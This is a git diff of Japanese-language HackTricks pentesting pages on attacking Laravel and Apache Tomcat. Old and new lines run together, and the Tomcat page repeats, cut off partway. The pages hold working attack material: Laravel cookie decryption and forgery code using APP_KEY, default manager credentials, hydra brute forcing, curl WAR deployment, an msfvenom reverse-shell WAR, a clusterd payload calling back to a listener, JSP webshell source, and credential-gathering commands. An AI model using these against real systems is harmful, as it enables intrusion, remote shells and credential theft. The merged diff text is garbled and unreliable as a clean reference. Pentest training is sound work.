* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に従ってください。**
</details> </details>
{% endhint %}
## Laravel Tricks ## Laravel Tricks
### デバッグモード ### デバッグモード
Laravelが**デバッグモード**にある場合、**コード**と**機密データ**にアクセスできます。\ Laravelが**デバッグモード**のとき、**コード**と**機密データ**にアクセスできます。\
たとえば `http://127.0.0.1:8000/profiles`: えば `http://127.0.0.1:8000/profiles`:
![](<../../.gitbook/assets/image (1046).png>) ![](<../../.gitbook/assets/image (1046).png>)
@ -25,13 +28,13 @@ Laravelが**デバッグモード**にある場合、**コード**と**機密デ
### .env ### .env
Laravelは、クッキーを暗号化するために使用するAPPを保存しその他の資格情報を`.env`というファイルに保存します。これは`/../.env`の下にあるパストラバーサルを使用してアクセスできます。 Laravelは、クッキーや他の資格情報を暗号化するために使用するAPPを、`.env`というファイルに保存します。このファイルには、パストラバーサルを使用してアクセスできます: `/../.env`
Laravelは、デバッグページLaravelがエラーを見つけてアクティブ化された場合に表示されるでもこの情報を表示します Laravelはまた、エラーが発生したときに表示されるデバッグページ内にこの情報を表示します(デバッグが有効になっている場合)
Laravelの秘密のAPP\_KEYを使用して、クッキーを復号化および再暗号化できます: Laravelの秘密のAPP\_KEYを使用して、クッキーを復号化し再暗号化できます。
### クッキーの復号 ### クッキーの復号
```python ```python
import os import os
import json import json
@ -90,31 +93,34 @@ decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
``` ```
### Laravel Deserialization RCE ### Laravel デシリアライズ RCE
脆弱なバージョン: 5.5.40および5.6.xから5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) 脆弱なバージョン: 5.5.40 および 5.6.x から 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
ちらでこの逆シリアル化の脆弱性に関する情報を見つけることができます: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) こでデシリアライズの脆弱性に関する情報を見つけることができます: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)を使用してテストおよび悪用することができます\ [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)を使用してテストおよび悪用できます\
またmetasploitを使用しても悪用できます: `use unix/http/laravel_token_unserialize_exec` またmetasploitを使用しても悪用できます: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129 ### CVE-2021-3129
別の逆シリアル化: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) 別のデシリアライズ: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection ### Laravel SQLインジェクション
こちらでこのに関する情報を読むことができます: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) ここでの情報を読む: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Tomcat # Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,32 +25,34 @@
## Discovery ## Discovery
* 通常**ポート8080**で実行されます * 通常**ポート8080**で実行されます
* **一般的なTomcatエラー:** * **一般的なTomcatエラー:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Enumeration ## Enumeration
### **バージョン識別** ### **Version Identification**
Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行できます: Apache Tomcatのバージョンを見つけるには、簡単なコマンドを実行できます:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
これは、ドキュメントインデックスページで「Tomcat」という用語を検索し、HTMLレスポンスのタイトルタグにバージョンを表示します。
### **マネージャーファイルの場所** ### **マネージャーファイルの場所**
**`/manager`** および **`/host-manager`** ディレクトリの正確な場所を特定することは重要です。これらのページの名前が変更されている可能性があるため、ブルートフォース検索を推奨します。 **`/manager`** および **`/host-manager`** ディレクトリの正確な場所を特定することは重要です。名前が変更される可能性があるため、これらのページを見つけるにはブルートフォース検索を推奨します。
### **ユーザー名の列挙** ### **ユーザー名の列挙**
Tomcatのバージョンが6より古い場合、次の方法でユーザー名を列挙することが可能です: Tomcat 6より古いバージョンでは、次の方法でユーザー名を列挙することが可能です:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_enum msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **デフォルトの資格情報** ### **デフォルトの資格情報**
**`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があるため、特に重要です。このディレクトリは一般的な資格情報によって保護されており、一般的な資格情報は次のとおりです: **`/manager/html`** ディレクトリは特に敏感であり、WARファイルのアップロードとデプロイを許可するため、コード実行につながる可能性があります。このディレクトリは基本的なHTTP認証によって保護されており、一般的な資格情報は次のとおりです
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,35 +61,35 @@ msf> use auxiliary/scanner/http/tomcat_enum
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
これらの資格情報は以下を使用してテストできます: これらの資格情報は次のようにテストできます:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
別の注目すべきディレクトリは**`/manager/status`**で、TomcatとOSのバージョンを表示し、脆弱性の特定に役立ちます。 別の注目すべきディレクトリは **`/manager/status`** で、TomcatおよびOSのバージョンを表示し、脆弱性の特定に役立ちます。
### **ブルートフォース攻撃** ### **ブルートフォース攻撃**
マネージャディレクトリに対してブルートフォース攻撃を試みるには、次のようにします マネージャディレクトリに対してブルートフォース攻撃を試みるには、次のようにします:
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
## 一緒にMetasploitでさまざまなパラメータを設定して特定のホストをターゲットにします。 Along with setting various parameters in Metasploit to target a specific host.
### **一般的な脆弱性** ## Common Vulnerabilities
### **パスワードバックトレースの開示** ### **Password Backtrace Disclosure**
`/auth.jsp` にアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。 `/auth.jsp`にアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。
### **ダブルURLエンコーディング** ### **Double URL Encoding**
`mod_jk` の CVE-2007-1860 脆弱性により、ダブルURLエンコーディングパストラバーサルが可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能なります。 `mod_jk`のCVE-2007-1860脆弱性により、二重URLエンコーディングによるパス・トラバーサルが可能になり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能なります。
Tomcatの管理ウェブにアクセスするには、`pathTomcat/%252E%252E/manager/html` に移動します。 Tomcatの管理ウェブにアクセスするには、次のパスに移動します: `pathTomcat/%252E%252E/manager/html`
### /examples ### /examples
Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロスサイトスクリプティングXSS攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限のないアクセスや潜在的な悪用をチェックするために、包括的にリストされています。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサイトスクリプティングXSS攻撃に脆弱なサンプルスクリプトが含まれています。これらのスクリプトは包括的にリストされており、不正アクセスや潜在的な悪用について確認する必要があります。 [こちらで詳細を確認してください](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -109,21 +114,21 @@ Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロス
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **パストラバーサルの悪用** ### **Path Traversal Exploit**
一部の[Tomcatの脆弱な構成](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、`/..;/` のパスを使用してTomcatの保護されたディレクトリにアクセスできます。 一部の[**脆弱なTomcatの構成**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、次のパスを使用してTomcatの保護されたディレクトリにアクセスできます: `/..;/`
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、**Tomcatマネージャ**ページにアクセスできるかもしれません。 したがって、例えば、次のようにして**Tomcatマネージャー**ページにアクセスできるかもしれません: `www.vulnerable.com/lalala/..;/manager/html`
このトリックを使用して保護されたパスをバイパスする**別の方法**は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。 **別の方法**として、このトリックを使用して保護されたパスをバイパスするには、`http://www.vulnerable.com/;param=value/manager/html`にアクセスします。
## RCE ## RCE
最後に、Tomcat Webアプリケーションマネージャにアクセスできる場合、**.warファイルコードの実行をアップロードおよび展開**できます 最後に、Tomcat Web Application Managerにアクセスできる場合、**.warファイルをアップロードしてデプロイすることができますコードを実行**
### 制限事項 ### Limitations
WARを展開できるのは、**十分な権限(ロール: **admin**、**manager**、**manager-script**)を持っている場合に限ります。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](tomcat.md#post)セクションを参照)。 **十分な権限**(役割: **admin**, **manager**, **manager-script**がある場合にのみWARをデプロイできます。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml`に定義されている_tomcat-users.xml_の下にあります(バージョンによって異なります)([POST ](tomcat.md#post)セクションを参照)。
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -133,8 +138,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy # undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
``` ```
### Metasploit
### Metasploit ### Metasploit
```bash ```bash
use exploit/multi/http/tomcat_mgr_upload use exploit/multi/http/tomcat_mgr_upload
@ -144,17 +147,17 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password> msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### MSFVenomシェル ### MSFVenom リバースシェル
1. デプロイするwarファイルを作成します 1. デプロイするための war を作成する:
```bash ```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
### `revshell.war`ファイルをアップロードして、それにアクセスします (`/revshell/`): 2. `revshell.war`ファイルをアップロードし、それにアクセスします(`/revshell/`:
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用してバインドシェルとリバースシェルを作成します ### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル
いくつかのシナリオではこれが機能しないことがありますたとえば、古いバージョンのsun いくつかのシナリオでは、これが機能しないことがあります例えば、古いバージョンのsun
#### ダウンロード #### ダウンロード
```bash ```bash
@ -172,9 +175,9 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash ```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
``` ```
### 手動方法 - ウェブシェル ### 手動方法 - Webシェル
この[コンテンツ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を使用して**index.jsp**を作成します: **index.jsp**をこの[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)で作成します:
```java ```java
<FORM METHOD=GET ACTION='index.jsp'> <FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -205,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
### 手動方法2 あなたはこれをインストールすることもできます(アップロード、ダウンロード、コマンド実行を許可します): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
JSPウェブシェル[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を取得し、WARファイルを作成します。 ### 手動方法 2
[JSPウェブシェル](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなものを取得し、WARファイルを作成します
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -216,11 +221,11 @@ zip -r backup.war cmd.jsp
``` ```
## POST ## POST
Tomcatの資格情報ファイルの名前は _tomcat-users.xml_ です。 Tomcatの認証情報ファイルの名前は _tomcat-users.xml_ です。
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
他のTomcatの資格情報を収集する方法: Tomcatの認証情報を収集する他の方法
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
@ -240,14 +245,17 @@ msf> use post/windows/gather/enum_tomcat
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、ハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Tomcat # Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,32 +25,34 @@
## Discovery ## Discovery
* 通常**ポート8080**で実行されます * 通常**ポート8080**で実行されます
* **一般的なTomcatエラー:** * **一般的なTomcatエラー:**
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
## Enumeration ## Enumeration
### **バージョン識別** ### **Version Identification**
Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行します: Apache Tomcatのバージョンを見つけるには、簡単なコマンドを実行できます:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
これは、ドキュメントインデックスページで「Tomcat」という用語を検索し、HTMLレスポンスのタイトルタグにバージョンを表示します。
### **マネージャーファイルの場所** ### **マネージャーファイルの場所**
**`/manager`** および **`/host-manager`** ディレクトリの正確な場所を特定することは重要です。これらのページの名前が変更されている可能性があるため、ブルートフォース検索を推奨します。 **`/manager`** および **`/host-manager`** ディレクトリの正確な場所を特定することは重要です。名前が変更される可能性があるため、これらのページを見つけるためにブルートフォース検索を推奨します。
### **ユーザー名の列挙** ### **ユーザー名の列挙**
Tomcat バージョンが6より古い場合、次の方法でユーザー名を列挙することが可能です Tomcatのバージョン6より古い場合、次の方法でユーザー名を列挙することが可能です
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_enum msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **デフォルトの資格情報** ### **デフォルトの資格情報**
**`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があります。このディレクトリは基本的なHTTP認証によって保護されており、一般的な資格情報は次のとおりです: **`/manager/html`** ディレクトリは特に敏感で、WARファイルのアップロードとデプロイを許可するため、コード実行につながる可能性があります。このディレクトリは基本的なHTTP認証によって保護されており、一般的な資格情報は次のとおりです
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,35 +61,35 @@ msf> use auxiliary/scanner/http/tomcat_enum
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
これらの資格情報は以下を使用してテストできます: これらの資格情報は次のようにテストできます:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
別の注目すべきディレクトリは**`/manager/status`**で、TomcatとOSのバージョンを表示し、脆弱性の特定に役立ちます。 別の注目すべきディレクトリは **`/manager/status`** で、TomcatおよびOSのバージョンを表示し、脆弱性の特定に役立ちます。
### **ブルートフォース攻撃** ### **ブルートフォース攻撃**
マネージャディレクトリに対するブルートフォース攻撃を試みるには、次のようにします: マネージャーディレクトリに対してブルートフォース攻撃を試みるには、次のようにします:
```bash ```bash
